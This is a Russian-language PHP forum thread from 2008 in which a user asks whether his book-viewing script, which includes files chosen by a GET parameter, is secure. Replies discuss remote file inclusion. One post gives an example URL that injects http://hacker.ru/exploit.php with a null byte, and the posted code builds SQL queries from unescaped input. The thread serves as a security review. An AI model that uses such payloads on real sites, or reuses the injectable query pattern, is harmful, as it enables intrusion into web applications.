Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Вопрос о безопасности (include)
 
 автор: Max Vasin   (24.02.2008 в 14:12)   письмо автору
 
 

Вот не могу понять и все.
Вот если я таким образом передаю значения
http://*****.info/book.php?r=lib&p=php&namebook=1&partbook=0$nbOcAN2ic5M,
где partbook это файл который надо будет include.
Но сам этот файл находится в папке
lib\php\(1 название из БД)\0$nbOcAN2ic5M(ну имя файла преобразуется по crypt).txt


Чем это опасно?

----
Regards, Max Vasin.

   
 
 автор: cheops   (24.02.2008 в 14:42)   письмо автору
 
   для: Max Vasin   (24.02.2008 в 14:12)
 

Как include выглядит? И что произойдёт, если вместо 0$nbOcAN2ic5M, подставят что-то вроде http://www.site.ru/crack.txt. Где crack.txt - файл с произвольным PHP-кодом?

   
 
 автор: Max Vasin   (24.02.2008 в 15:13)   письмо автору
 
   для: cheops   (24.02.2008 в 14:42)
 

относительно первого вопроса.
выглядит так
include_once("$fr.txt");

где $fr формируется следующим образом
while ($row=mysql_fetch_array($r)) 
if ($cont==$row['CrFile']&&crypt('contens','0')==$row['CrFile']){
     @$fr="./$razdel/".$row['NFile'];}
     else if ($cont==$row['CrFile']&&crypt('contens','0')!=$row['CrFile']){
     @$fr="./$razdel/$podrazdel/".$row['translit']."/".$row['NFile'];

где при выполнении первого условия загрузится скрипт в котором будет содержание книги,
в противном случае страница пункта из содержания.
а далее уже проверка существует ли такой файл
if (file_exists("$fr.txt"))
если да, то собственно происходит include_once, если нет то
echo "<tr><td><center><h3>Материал либо не загружен, либо был удален. <br>Приносим свои извинения</h3><br><a href=\"javascript: history.back()\">Вернуться назад</a></center></td></tr>";

------------------------

второй вопрос:
если подставить, то выдает
Notice: Undefined variable: fr in z:\home\****.***\www\book.php on line 165

и следовательно запись
echo "<tr><td><center><h3>Материал либо не загружен, либо был удален. <br>Приносим свои извинения</h3><br><a href=\"javascript: history.back()\">Вернуться назад</a></center></td></tr>";


----
Regards, Max Vasin.

   
 
 автор: Max Vasin   (25.02.2008 в 05:52)   письмо автору
 
   для: Max Vasin   (24.02.2008 в 15:13)
 

Одно из двух:
1. либо коряво объснил что и как у меня работает.
2. либо бояться нечего, все работает правильно и нормально

----
Regards, Max Vasin.

   
 
 автор: mihdan   (25.02.2008 в 12:28)   письмо автору
 
   для: Max Vasin   (25.02.2008 в 05:52)
 


http://*****.info/book.php?r=lib&p=php&namebook=1&partbook=http://hacker.ru/exploit.php\\0
// в конце ставим нулевой символ, чтоб избавиться от ".txt"

   
 
 автор: cheops   (25.02.2008 в 12:56)   письмо автору
 
   для: Max Vasin   (24.02.2008 в 15:13)
 

Не понятно, как параметр partbook влияет на формирование переменной $fr? Он участвует в SQL-запросе? Приведите пожалуйста сам запрос?

PS Если на прямую фрагменты GET-параметров не вставляются в путь для include ничего страшного нет, если вставляются - см. пост mihdan.

   
 
 автор: Max Vasin   (25.02.2008 в 19:30)   письмо автору
 
   для: cheops   (25.02.2008 в 12:56)
 

2mihdan
ставлю:) не срабатывает. но не факт что дыры нет%>

2cheops
возможно замудренно, но объясню подробно что и как, так как есть личная заинтересованность:).
Значит так.

Есть два пхп файла.
Первый (books.php) лежит в корне, второй лежит в папке lib - contens.

Есть две таблицы в БД.
В первой (таблица books) хранится общая информация, такая как номер книги, авторы, название книг, ISBN, подраздел, и имя книги в транслите.
Во второй (таблица artic) хранится содержание книг.

Итак, в books.php выполняется следующий скрипт

<?php
$razdel
=$_GET['r'];//получаем имя раздела
@$podrazdel=$_GET['p'];//получаем имя подраздела
$bname=$_GET['namebook'];//получаем номер книги
$cont=$_GET['partbook'];//здесь передается что нужно инклудить
/*ну подключение к базе пропущу*/
//теперь подготовка к выводу
//создаем запрос: все записи из таблицы books, 
//удовлетворяющих условию ID_Book='".$bname."'"
$query "SELECT * FROM  books where ID_Book='".$bname."'"
$res mysql_query($query) or die(mysql_error()); 
//переменная $number необходима будет для скрипта contens.php
$number mysql_num_rows($res);
//часть оформления, т.к. сразу из страниц код взял
        
echo <<<HERE
<tr><td><table class=forumline width=100% border=0><TR><TD bgColor=#eaedf4 BACKGROUND=image/down.gif><table width=100% border=0>
HERE;
//создаю новый запрос сразу к двум таблицам atric, books, с прежним условием
//atric в запросе использую для того что бы получить доступ к 
//полям CrFile(здесь содержатся записи 
//crypt('NFile','номер_записи, тобишь ID')), 
//NFile (имя файла в транслите) , возможно не оптимально!
$q "SELECT * FROM atric, books where ID_Book='".$bname."'"
$r mysql_query($q) or die(mysql_error()); 

while (
$row=mysql_fetch_array($r))
//итак, здесь собственно начинается основная работа
//напомню что $cont получаю c помощью $_GET['partbook']
//стоит указать, что путь к файлам книги такой ./lib/delphi/Author/(ну и здесь все файлы книги)

//если $cont равно записи из БД и при чем (т.е. вторая часть условия) 
//эта запись равна crypt('contens','0'), то будем инклудить файл contens.php, 
//в противном случае формируется путь к тем частя книги которые находятся в partbook.
//$row['translit'] - это имя книги в транслите из таблицы books, $row['NFile'] - имя файла из artic

if ($cont==$row['CrFile']&&crypt('contens','0')==$row['CrFile']){
     @
$fr="./$razdel/".$row['NFile'];}
     else if (
$cont==$row['CrFile']&&crypt('contens','0')!=$row['CrFile']){
     @
$fr="./$razdel/$podrazdel/".$row['translit']."/".$row['NFile'];
}
//решил немного откорректировать расширение файла, 
//не *.txt, а *.php, но это не столь важно
[b]//    акцентирую Ваше внимание на то как формируется $fr!!![/b]
//если в $fr сформировалось как  "./$razdel/$podrazdel/".$row['translit']."/".$row['NFile']; 
//то это означает что просто нужно заинклудить файл книги.
//небольшие пояснения к строкам ниже:$row['Author'] - имя автора, 
//$row['Name_Book'] - название книги. 
//Эта часть кода, как Вы могли заметить преимущественно для вывода заголовка о книге.
              
if (file_exists("$fr.php")){
    while (
$row=mysql_fetch_array($res))  
    if (
$bname==$row['ID_Book']){
    echo 
"<tr colspan=2>";
    echo 
"<Td align=center><div STYLE=filter:glow(strength=5,color=#eaedf4);><b>".$row['Author']."  ".$row['Name_Book']."</b></div></Td>";
    echo 
"<Td align=center><div STYLE=filter:glow(strength=5,color=#eaedf4);>";
    echo 
"<a href='book.php?r=$razdel&p=$podrazdel&namebook=".$row['ID_Book']."&partbook=".crypt('contens','0')."'>содержаниe</a></td></tr>";}
    echo 
"</Td></TR></table></Td></TR>";
    echo 
"<tr><td>";
[
b]//вот он магический инклуд:)[/b]
include_once("$fr.php");
    echo 
"</td></tr>";
    }
     else {

[
b]//ну если не нашли ни каких совпадений, то естественно надо уведомить посетителя об этом.[/b]
    
while ($row=mysql_fetch_array($res))  
    if (
$bname==$row['ID_Book']){
    echo 
"<tr>";
    echo 
"<Td align=center><div STYLE=filter:glow(strength=5,color=#eaedf4);><b>".$row['Author']."  ".$row['Name_Book']."</b></div></Td>";
    echo 
"</TR></table>";
    }
    echo 
"<tr><td><center><h3>Материал либо не загружен, либо был удален. <br>Приносим свои извинения</h3><br><a href=\"javascript: history.back()\">Вернуться назад</a></center></td></tr>";}
?>


Так все выглядит. Но остался файл contens.php, о котором я упомянул выше.
Т.е. он будет инклудиться в случае выполнения условия
if ($cont==$row['CrFile']&&crypt('contens','0')==$row['CrFile']){
     @$fr="./$razdel/".$row['NFile'];}

Вот собственно и сам код:


//итак создаем запрос представленный ниже. 
//Его смысл заключается в том, что бы выбрать все записи из таблиц atric, books, 
//при условиях что (номер книги из atric=номеру из books) и (номер_книги из books равен переданному через $_GET['namebook']; )

$q = "SELECT * FROM atric, books where atric.id_B=books.ID_Book and books.ID_Book='".$bname."'"; 

$r = mysql_query($q) or die(mysql_error()); 
echo "<TABLE WIDTH=100%; cellSpacing=0 cellPadding=0  border=0>";
// и последнее пояснение, 
//количество возращаемых записей после выполнения запроса равно нулю, то выводим так же надпись что данных нет. 
//В противном случае, осуществляем вывод.

$number = mysql_num_rows($r); 
if ($number==0)
{
    echo "<tr><td><center><h3>Материал либо не загружен, либо был удален. <br>Приносим свои извинения</h3><br><a href=\"javascript: history.back()\">Вернуться назад</a></center></td></tr>\n";}
    
else
while ($row=mysql_fetch_array($r)) {

if (crypt('contens','0')!=$row['CrFile']&&$row['posi']==0){
switch ($row['Comment']) {
// ну здесь происходит вывод как то требуется
}
}
else if(crypt('contens','0')!=$row['CrFile']) echo "<tr><td>".$row['RusName']."</td></tr>\n";
}
echo "</TABLE>";


Вот в общем и все. Что скажите? Безопасно или есть дыры?
ЗЫ. Прям мини-статья получилось:), хорошо бы если бы правильная%>

----
Regards, Max Vasin.

   
 
 автор: cheops   (26.02.2008 в 13:31)   письмо автору
 
   для: Max Vasin   (25.02.2008 в 19:30)
 

Ну в общем всё нормально, через include вас вряд ли взломают, но переменную $bname лучше пропустить через конструкцию
<?php
  
if (!get_magic_quotes_gpc())
  {
    
$bname mysql_escape_string($bname);
  }
?>

Чтобы предотвратить SQL-инъекцию.

   
 
 автор: Max Vasin   (27.02.2008 в 03:25)   письмо автору
 
   для: cheops   (26.02.2008 в 13:31)
 

за совет насчет get_magic_quotes_gpc спс. как-то упустил это%>
знаете настораживает слово в вашем посте "вряд ли". т.е. что-то все-таки упустил?

----
Regards, Max Vasin.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования